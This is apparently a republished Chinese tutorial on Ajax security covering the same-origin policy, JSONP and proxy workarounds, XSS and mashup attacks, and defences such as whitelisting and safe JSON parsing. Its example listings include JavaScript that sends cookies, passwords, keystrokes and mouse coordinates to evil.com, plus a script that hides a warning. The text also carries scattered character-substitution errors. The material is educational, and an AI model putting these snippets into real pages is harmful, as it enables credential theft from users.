征服 Ajax 应用程序的安全威胁

Ajax 构建于动态 HTML(DHTML)技术之上,其中包括以下这些最多见的技术:javascript

  • JavaScript :JavaScript 是一种脚本语言,在客户端 Web 应用程序中常用。
  • 文档对象模型(Document Object Model,DOM) :DOM 是一种用于表示 HTML 或 XML 文档的标准对象模型。现在,大多数浏览器都支持 DOM 并容许 JavaScript 代码动态地读取和修改 HTML 内容。
  • 层叠样式表(Cascading Style Sheets,CSS) :CSS 是一种用于说明 HTML 文档表示的样式表语言。JavaScript 可以在运行的时候对样式表进行修改,这样即可以动态地更新 Web 页面的表示。

在 Ajax 中,客户端 JavaScript 经过动态地修改 DOM 树和样式表来更新 Web 页面。此外,异步通讯(能够经过下面介绍的技术实现)容许动态地更新数据,而无需从新加载整个 Web 页面:css

  • XMLHttpRequest XMLHttpRequest 是一个 API,它容许客户端的 JavaScript 与远程服务器创建 HTTP 链接和交换数据,好比说纯文本、XML 和 JSON(JavaScript Serialized Object Notation)。
  • JSON :JSON 由 RFC 4627 提出,是一种轻量的、基于文本的、独立于语言的数据交换格式。它以 ECMAScript 语言的一个子集为基础(这使之成为 JavaScript 语言的一个部分),而且定义了一小套格式规则用以建立结构数据的可移植表示。

注意,Ajax 应用程序中还有一些其余经常使用的格式能够替代 JSON,好比说 XML 和无格式的纯文本。此处咱们选择讨论 JSON,其缘由在于它具备一些隐藏的安全问题,稍后咱们将在文章中对其进行研究。html

建议对 Ajax 还不熟悉的读者先阅读 参考资料 中的文章。java

 

理解同源策略 程序员

当来自多个始发源的内容以某种方式被集成到一个单一的应用程序中时,一些内容相互之间可能具备不一样的信任级别,或者它们可能根本没有必要相互信任。这样天然而然会产生某种需求,即把来自不一样始发者的内容分离开来,把它们之间的冲突减至最少。ajax

 

同源策略是当前浏览器的保护机制的一部分,该机制未来自不一样域(假设域表明的是始发者)的 Web 应用程序分离开来。也就是说,若是多个窗口或框架中的一些应用程序是从不一样的服务器下载的,那么它们没法相互访问数据和脚本。注意,同源策略只能应用于 HTML 文档。经过 <script src="..." > 标记导入 HTML 文档的 JavaScript 文件被认为是该 HTML 文档的同源的一部分。该策略在全部主要浏览器实现中都有执行。正则表达式

 

XMLHttpRequest 的上下文中,同源策略的目的是控制应用程序与远程服务器的交互。然而,同源策略对 Web 2.0 应用程序的影响力比较有限,这有以下几个缘由:编程

 

  • 能够经过许多方法绕过同源策略 :稍后我将在文章中演示其中的一些方法。
  • Web 2.0 应用程序的一个重要特性就是用户对内容的贡献 :也就是说,一般内容并非由受信任的服务提供的,而更多的是由异步用户经过 blog、wiki 等媒介提供的。所以,即使是单个服务器中的内容实际上也可以来自多个来源。
  • 浏览器强制同源策略将服务器的域名做为串字面值进行检查 :例 如,http://www.abc.com/ 和 http://12.34.56.78/ 会被做为不一样的域而区别对待,即便 www.abc.com 的 IP 地址实际上就是 12.34.56.78。此外,URL 中的任何路径表达式都将被忽略。例如,http://www.abc.com/~alice 会被识别为 http://www.abc.com/~malroy 的同源,从而忽略了这样一个事实,即这两个目录有可能属于不一样的用户。
  • 大多数 Web 浏览器容许 Web 应用程序将域的定义放宽为应用程序自身的超域 :好比说,若是应用程序是从 www.abc.com 处下载的,那么应用程序能够把 document.domain 属性重写为 abc.com 或者就是 com(在 Firefox 中)。大多数最新的浏览器只容许访问已经把它们的 document.domain 属性重写为相同值的窗口或框架中的窗口对象。然而,一些版本比较老的浏览器容许与 document.domain 属性中指定的域创建 XMLHttpRequest 链接。
  • 即便某个 Web 服务器位于受信任的域中,该服务器可能并非内容的始发源,尤为是在 Web 2.0 的上下文中 : 好比说,企业门户服务器、基于 Web 的邮件服务器或者 wiki 能够是受信任的,可是他们所托管的内容可能包含来自具备潜在的恶意的第三方的输入,这个第三方能够是跨站脚本(cross-site scripting,XSS)攻击(该攻击咱们将在稍后介绍)的目标。所以,服务器所在的域并不能表明其内容的可信任度。

 

避免同源策略:JSON 和 动态脚本标记 json

因为 JSON 只是一种含有简单括号结构的纯文本,所以许多通道均可以交换 JSON 消息。由于同源策略的限制,咱们不能在与外部服务器进行通讯的时候使用 XMLHttpRequest 。JSONP(JSON with Padding)是一种能够绕过同源策略的方法,即经过使用 JSON 与 <script> 标记相结合的方法,如 清单 1 所示。跨域


清单 1. JSON 例子

 
Js代码 复制代码  收藏代码
  1. <script type="text/javascript"  
  2.   src="http://travel.com/findItinerary?username=sachiko&  
  3.   reservationNum=1234&output=json&callback=showItinerary" />  
<script type="text/javascript"
  src="http://travel.com/findItinerary?username=sachiko&
  reservationNum=1234&output=json&callback=showItinerary" />

 

当 JavaScript 代码动态地插入 <script> 标记时,浏览器会访问 src 属性中的 URL。这样会致使将查询字符串中的信息发送给服务器。在 清单 1 中,所传递的是 usernamereservation 做为名称值对传递。此外,查询字符串还包含向服务器请求的输出格式和回调函数的名称(即 showItinerary )。<script> 标记加载后,会执行回调函数,并经过回调函数的参数把从服务返回的信息传递给该回调函数。

 

避免同源策略:Ajax 代理

Ajax 代理是一种应用级代理服务器,用于调解 Web 浏览器和服务器之间的 HTTP 请求和响应。Ajax 代理容许 Web 浏览器绕过同源策略,这样即可以使用 XMLHttpRequest 访问第三方服务器。要实现这种绕过,有以下两种方法可供选择:

  • 客户端 Web 应用程序知道第三方 URL 并将该 URL 做为 HTTP 请求中的一个请求参数传递给 Ajax 代理。而后,代理将请求转发给 www.remoteservice.com。注意,能够把代理服务器的使用隐藏在 Web 应用程序开发人员所使用的 Ajax 库的实现中。对于 Web 应用程序开发人员而言,它看上去可能彻底不具备同源策略。
  • 客户端 Web 应用程序不知道第三方 URL,而且尝试经过 HTTP 访问 Ajax 代理服务器上的资源。经过一个预约义的编码规则,Ajax 代理将 所请求的 URL 转换为第三方服务器的 URL 并表明客户检索内容。这样一来,Web 应用程序开发人员看上去就像是在和代理服务器直接进行通讯。

 

避免同源策略:Greasemonkey

Greasemonkey 是一个 Firefox 扩展,它容许用户动态地对 Web 页面的样式和内容进行修改。Greasemonkey 用户能够把用户脚本(user script) 文件与一个 URL 集合创建关联。当浏览器经过该 URL 集合加载页面时,便会执行这些脚本。Greasemonkey 为用户脚本的 API 提供了额外的许可(与运行在浏览器沙盒中的脚本的许可相比较)。

 

GM_XMLHttpRequest 是其中的一个 API,它从本质上说就是一个不具备同源策略的 XMLHttpRequest 。用户脚本能够将浏览的内置 XMLHttpRequest 替代为 GM_XMLHttpRequest ,从而许可 XMLHttpRequest 执行跨域访问。

 

GM_XMLHttpRequest 的使用只能经过用户赞成的途径才能受到保护。也就是说,Greasemonkey 只有在创建新用户脚本与特定 URL 的集合之间的关联时才会要求用户配置。然而,不难想象一些用户可能会被欺骗,在没有彻底理解其后果时就接受该安装。


 

研究攻击场景

不只开发人员在避免同源策略时会向恶意用户露出攻击面,当恶意代码被插入 Web 应用程序中时当前的应用程序也易于受到攻击。遗憾的是,恶意代码进入 Web 应用程序的方法多种多样。咱们将简要讨论其中两种可能的途径,这对于 Web 2.0 的下上文来讲也日渐相关。

 

跨站脚本(Cross-site scripting,XSS)

XSS 是一种很常见的攻击手段,在该攻击中攻击者将一个恶意代码段注入到一个运行良好的站点中。XSS 攻击有以下两种基本的类型:

  • Reflected XSS
  • Stored XSS

reflected XSS 攻击利用了 Web 应用程序安全性低的弱点,该应用程序在浏览器中显示输入参数而不对其中是否存在活动内容进行检查。一般,攻击者会诱使受害者单击 URL,如 清单 2 所示。


清单 2. reflected XSS 攻击的一个示例 URL

 
Js代码 复制代码  收藏代码
  1. http://trusted.com/search?keyword=<script>  
  2. document.images[0].src="http://evil.com/steal?cookie="   
  3. + document.cookie; </script>  
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie=" 
+ document.cookie; </script>

 

假设 trusted.com 提供了一个服务,该服务具备一个搜索特性能把搜索结果和输入的关键字一块儿提交回来。若是搜索应用程序没有过滤 URL 中的一些特殊字符(如小于号 (<) 和大于号 (>)),则 <script> 标记也将被插入到用户 Web 页面中,这样将会把文档的 cookie 发送给远程服务器 evil.com。

 

随着 Web 2.0 的普及 stored XSS 攻击愈来愈严重。Web 2.0 成功的关键是大众之间的共享、交互和协做,所以用户有更多的机会能够经过一些服务(好比说社会网络服务(social network services,SNS)、wiki 或 blog)看到其余用户(具备潜在恶意性)的输入。

 

无论怎样,输入值验证和数据消毒(sanitation)是防止 XSS 攻击的关键因素。一般,Web 服务器从用户输入中移除脚本,可是攻击者常常会利用服务器的弱点绕过这些过滤器,从而形成一些重大的攻击,好比说 Yamanner 或 MySpaceIn 蠕虫。

 

Mashup

mashup 应用程序是一种 Web 应用程序,它能够把来自多个来源的内容和服务结合到一个集成的用户体验中。一般,mashup 应用程序会形成一个单一的客户端应用程序,所以 mashup 中的不一样部分能够经过一些浏览器资源(好比说 DOM 树或浏览器窗口工具)来进行信息共享和交互。当 mashup 中的某些部分是出于恶意目的编写的(或者被攻击了),它能够将恶意代码注入到应用程序中。这样会致使各类类型的攻击(相似于 XSS),包括盗取用户的敏感信息。


 

理解攻击产生的影响

咱们已经知道攻击者是如何将代码注入应用程序的,接下来再看看一些常见攻击所带来的影响。


 

窃取 cookies 或密码

对于攻击者而言,最直接的受益就是得到用户的敏感信息,好比说用户密码或 cookies。由于注入脚本能够访问 DOM 树的任何部分,因此它们能够从登陆表单的文本字段中窃取密码信息。例如,清单 3 中展现的代码可以窃取信息并将其发送到某个攻击者的服务器。


清单 3. 攻击示例:从文本字段中窃取密码

 
Js代码 复制代码  收藏代码
  1. function stealpw(){  
  2.   var pw = document.getElementById("password").value;  
  3.   document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;  
  4. }  
  5. document.getElementById("button").onclick = stealpw;  
function stealpw(){
  var pw = document.getElementById("password").value;
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;

 

在本例中,攻击者须要等待一段时间,直到用户单击提交按钮以后才能接收到他的数据。Ajax 使攻击者的工做更加简单,这是由于它容许攻击者向远程服务发送任意信息,而不用等待利用用户的动做,好比说点击一个按钮或单击一个连接。这种类型的通讯量 一般会被视为可疑行为,可是因为 Ajax 具备异步性,因此这种通讯量经常不会被检测到。

 

使用相似的方法,攻击者还可以窃取敏感 Web 应用程序中的文档 cookies(好比说在线金融应用程序)。文档 cookies 能够容许攻击者劫持会话或使用所窃取的凭证进行登陆。

 

注意,Microsoft® Internet Explorer® 6 或更高版本对 HttpOnly cookies 提供了支持,这样能够防止客户端脚本访问文档 cookies。然而,因为大多数 Web 应用程序都不能依赖浏览器来实现,因此这种方法也无济于事。

 

使用键盘记录工具(key logger)窃取键盘事件

清单 4 展现了一个简单的键盘记录工具示例,该工具窃取 Web 页面中的键盘事件并将它们发送给远程服务器。键盘记录工具容许攻击者劫持任何用户输入;好比说,若是某个用户在使用一个基于 Web 的电子邮件服务,那么键盘记录工具将记录下任何文本输入并将其发送给攻击者。而后,攻击者可以经过分析记录数据检索出凭证信息,好比说密码和凭证信息。


清单 4. 攻击示例:键盘记录工具

 
Js代码 复制代码  收藏代码
  1. function keylogger(e){  
  2.   document.images[0].src = "http://evil.com/logger?key="  
  3.   + e.keyCode;  
  4. };  
  5. document.body.addEventListener("keyup", keylogger, false);  
function keylogger(e){
  document.images[0].src = "http://evil.com/logger?key="
  + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);

 

使用鼠标嗅探器窃取键盘事件

软键盘是防止键盘记录工具窃取敏感输入信息(好比说用于在线金融服务的登陆 PIN 码)的一个经常使用技巧。然而,鼠标嗅探器可使用相似于键盘记录工具所使用的技巧。经过窃取鼠标事件的 X 和 Y 坐标,推算出鼠标在软键盘上所点击的键也是有可能的。清单 5 演示了一个简单的鼠标嗅探器的示例。


清单 5. 攻击示例:鼠标嗅探

 
Js代码 复制代码  收藏代码
  1. function sniffer(e){  
  2.   document.images[0].src= "http://evil.com/imgs/sniffer?x="  
  3.   + e.clientX + "&y=" + e.clientY;  
  4. };  
  5. document.body.addEventListener("mouseup", sniffer, false);  
function sniffer(e){
  document.images[0].src= "http://evil.com/imgs/sniffer?x="
  + e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);

 


插入错误信息

使用 DOM 接口,攻击者可以修改 DOM 树中的任何信息。好比说,当某个用户正在进行在线转账操做时,攻击者把目标账户修改成属于他本身的账户也是可行的。其结果是,转账的金额将被存入攻击者的账户中。

 

在另外一种攻击类型中,攻击者可能会修改样式表,把信息隐藏起来不让用户发现。好比说,假设某个 Web 页面包含有一个警告消息,如 清单 6 所示。


清单 6. 警告消息

 
Html代码 复制代码  收藏代码
  1. ...  
  2. <style type="text/css"> #warning { color: red } </style>  
  3. ...  
  4. <div id="warning">The links in this page may refer to   
  5. potentially malicious Web pages, so be careful. </div>  
  6. ...  
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to 
potentially malicious Web pages, so be careful. </div>
...

 

攻击者可能会修改样式表,消除警告。好比说,清单 7 中展现的 JavaScript 代码修改了警告的样式,使它在白色的背景中不可见。


清单 7. 攻击示例:消除警告

 
Js代码 复制代码  收藏代码
  1. var e = document.getElementById("warning");  
  2. e.style.color= "white";  
var e = document.getElementById("warning");
e.style.color= "white";

 

推荐的最佳实践

咱们对攻击有可能的实现和其所带来的后果有了基本的了解,接下来再看看一些技巧,并应用这些技巧改善 Ajax 应用程序的安全性。


 

添加一个输入值检查

正如咱们在 XSS 示例中所看到的,大多数的攻击都利用了服务器端的弱点,注入恶意脚本。所以,要保护 Web 应用程序,第一步须要添加输入验证。输入验证和数据消毒会从不可信的输入中过滤掉全部可能的活动或恶意的内容。

 

输入验证的两种类型:

  • 黑名单: 在这种方法中,黑名单中的全部字符都会从输入中过滤掉。黑名单所面临的最大的挑战就是要确保全部危险的字符都包含在名单中。由于要预测到全部可能的输入组合是不可能的,因此黑名单常常不能实现正确的验证。
  • 白名单: 这种替代方法列出全部容许的字符并从输入中移除全部其它的字符。白名单所面临的最大的挑战就是在保持列表尽量简短的同时,仍然可以提供足够的灵活性,容许 Web 应用程序所需的输入类型。

不能把黑名单或白名单做为一种绝对安全的解决方案。可是,人们一般认为白名单是更加安全的选择。所以,推荐您使用白名单来清除具备潜在危险性的输入。

 

对发送给浏览器并在其上显示的字符串中的特殊字符(好比说把小于号 (<) 换成 "&lt;")进行转义是加强安全性的另外一种方法。有些程序语言提供了一些内置的函数用于转义特殊字符。


 

使用漏洞检查工具

因为应用程序中的程序错误都比较相似,所以许多 Web 应用程序都易于受到攻击。因此,安全专家开发了一些工具,用于检测这些不安全的编程实践。此类工具称为漏洞检查工具,它们能预先检测出潜在的漏洞。这些工 具检测出的最多见的漏洞之一就是程序员忘记对潜在的恶意输入调用消毒例程。

 

不要动态地生成和执行代码

可使用若干种方法在 JavaScript 程序中动态地生成代码。最著名的函数之一就是 eval() 函数,该函数容许您将任意字符串作为 JavaScript 代码执行。然而,肆无忌惮地使用该函数是很是危险的。遗憾的是,一些使用普遍的 JavaScript 库在内部直接使用 eval() 函数。

 

保障 JSON 的使用安全

因为 JSON 是以 JavaScript 的一个子集为基础的,因此脚本内容会潜在地包含恶意代码。然而,JSON 是 JavaScript 的一个安全的子集,不含有赋值和调用。所以,许多 JavaScript 库使用 eval() 函数将 JSON 转换成 JavaScript 对象。要利用这点,攻击者能够向这些库发送畸形的 JSON 对象,这样 eval() 函数就会执行这些恶意代码。能够采起一些方法来保护 JSON 的使用。第一个方法是使用 RFC 4627 中所定义的正则表达式确保 JSON 数据中不包含活动的部分。清单 8 演示了如何使用正则表达式检查 JSON 字符串。


清单 8. 使用正则表达式检查 JSON 字符

 
Js代码 复制代码  收藏代码
  1. var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(  
  2.     text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&  
  3.     eval('(' + text + ')');  
var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
    text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
    eval('(' + text + ')');

 

另外一种更具安全性的方法是使用 JSON 解析器对 JSON 进行解析。因为 JSON 的语法至关的简单,您能够轻易地实现这种解析器,而不会带来显著的性能差别。

 

在集成不可信内容时使用 <iframe>

您能够利用同源策略使攻击者没法轻易地访问整个 DOM 树。当您把不一样域中的数据加载到一个 <iframe> 中时,应该给予该数据一个属于本身的 JavaScript 执行上下文和 DOM 树。这样能够防止攻击者从主页面中窃取信息。尽量多地 <iframe> 限制不可信的外部内容是一个良好的实践。


 

结束语

在这篇文章中,咱们概述了在 Web 2.0 应用程序中避免同源策略的各类不一样的方法。咱们还演示了这些方法如何在 Web 应用程序中公开一些新的攻击点。咱们讨论了一些常见的攻击类型和这些攻击所带来的后果。最后,咱们在简短的最佳实践部分中对文章进行了总结,使用这些最佳 实践能够避免一些最多见的攻击。 

相关文章
相关标签/搜索